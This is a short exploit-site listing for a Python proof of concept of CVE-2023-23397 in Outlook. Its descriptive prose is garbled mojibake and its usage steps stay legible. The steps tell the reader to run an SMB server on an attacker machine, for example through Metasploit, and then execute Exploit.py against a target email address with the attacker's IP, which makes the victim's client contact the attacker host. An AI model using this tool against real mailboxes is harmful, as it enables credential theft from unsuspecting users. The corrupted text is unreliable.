## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TIEPOLOGIAN-CVE-2023-23397
# CVE-2023-23397 (Outlook рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐)
Python рдореЗрдВ CVE-2023-23397 рдХреЗ рд▓рд┐рдП рдкреНрд░реВрдл рдСрдл рдХреЙрдиреНрд╕реЗрдкреНрдЯ
Microsoft Office/365 рдЙрддреНрдкрд╛рджреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ Outlook CVE рдХреЗ рд▓рд┐рдП Python рдореЗрдВ рдПрдХ рддреНрд╡рд░рд┐рдд рдФрд░ рдЖрд╕рд╛рди "рдкреНрд░реВрдл рдСрдл рдХреЙрдиреНрд╕реЗрдкреНрдЯ"ред
# рдЙрдкрдпреЛрдЧ
1. `pip install pywin32` рдЪрд▓рд╛рдХрд░ pywin рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ
2. рд╣рдорд▓рд╛рд╡рд░ рдорд╢реАрди рдкрд░ рдПрдХ SMB рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░реЗрдВ, рдЬреИрд╕реЗ рдХрд┐ Metasploit рдХрд╛ SMB рдореЙрдбреНрдпреВрд▓
3. рдХрдорд╛рдВрдб (save рдпрд╛ send), рд▓рдХреНрд╖реНрдп рдИрдореЗрд▓ рдкрддрд╛ рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреА рдорд╢реАрди рдХрд╛ IP рдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП `python Exploit.py <save_or_send> <target email> <attacker_ip>` рдЪрд▓рд╛рдПрдБ